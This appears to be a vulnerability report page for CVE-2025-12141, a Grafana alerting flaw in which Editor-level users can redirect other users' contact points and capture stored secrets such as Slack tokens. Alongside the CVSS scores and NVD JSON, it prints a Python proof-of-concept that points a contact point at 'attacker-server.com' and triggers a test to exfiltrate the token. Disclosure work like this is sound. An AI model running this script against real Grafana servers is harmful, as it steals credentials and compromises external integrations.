Security Vulnerability Report
中文
CVE-2025-12141 CVSS 6.5 MEDIUM

CVE-2025-12141

Published: 2026-04-15 16:16:33
Last Modified: 2026-04-20 20:16:41

Description

In Grafana's alerting system, users with edit permissions for a contact point, specifically the permissions “alert.notifications:write” or “alert.notifications.receivers:test” that are granted as part of the fixed role "Contact Point Writer", which is part of the basic role Editor - can edit contact points created by other users, modify the endpoint URL to a controlled server. By invoking the test functionality, attackers can capture and extract redacted secure settings, such as authentication credentials for third-party services (e.g., Slack tokens). This leads to unauthorized access and potential compromise of external integrations.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
Grafana (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2025-12141: Grafana Contact Point Sensitive Info Leak # Requirements: requests, valid Grafana session/cookie with Editor role import requests import json # Configuration GRAFANA_URL = "http://target-grafana:3000" API_KEY = "YOUR_EDITOR_API_KEY" # or use Cookie headers ATTACKER_SERVER = "http://attacker-server.com/capture" TARGET_CONTACT_POINT_UID = "uid-of-target-contact-point" # Uid of the victim's contact point headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # 1. Fetch current settings (optional, to preserve other fields) # GET /api/alert-notifications/uid/:uid # 2. Modify the Contact Point URL to attacker's server payload = { "uid": TARGET_CONTACT_POINT_UID, "name": "Slack - Modified", "type": "slack", "settings": { "url": ATTACKER_SERVER, # Malicious URL injection "token": "redacted_placeholder" # Grafana will replace this with real token during update/test }, "secureSettings": {} } print(f"[*] Updating contact point {TARGET_CONTACT_POINT_UID} to point to {ATTACKER_SERVER}...") update_url = f"{GRAFANA_URL}/api/alert-notifications/uid/{TARGET_CONTACT_POINT_UID}" r = requests.put(update_url, headers=headers, data=json.dumps(payload)) if r.status_code == 200: print("[+] Contact point updated successfully.") else: print(f"[-] Failed to update contact point: {r.text}") exit(1) # 3. Trigger the Test functionality to exfiltrate the token print(f"[*] Triggering test notification to send secrets...") test_url = f"{GRAFANA_URL}/api/alert-notifications/uid/{TARGET_CONTACT_POINT_UID}/test" r_test = requests.post(test_url, headers=headers) if r_test.status_code == 200: print("[+] Test triggered. Check your server for the captured credentials.") else: print(f"[-] Test failed: {r_test.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12141", "sourceIdentifier": "[email protected]", "published": "2026-04-15T16:16:33.040", "lastModified": "2026-04-20T20:16:40.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Grafana's alerting system, users with edit permissions for a contact point, specifically the permissions “alert.notifications:write” or “alert.notifications.receivers:test” that are granted as part of the fixed role \"Contact Point Writer\", which is part of the basic role Editor - can edit contact points created by other users, modify the endpoint URL to a controlled server. By invoking the test functionality, attackers can capture and extract redacted secure settings, such as authentication credentials for third-party services (e.g., Slack tokens). This leads to unauthorized access and potential compromise of external integrations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "12.3.0", "matchCriteriaId": "1DDFD2FD-7573-4993-8C82-2DBA97D95956"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2025-12141/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}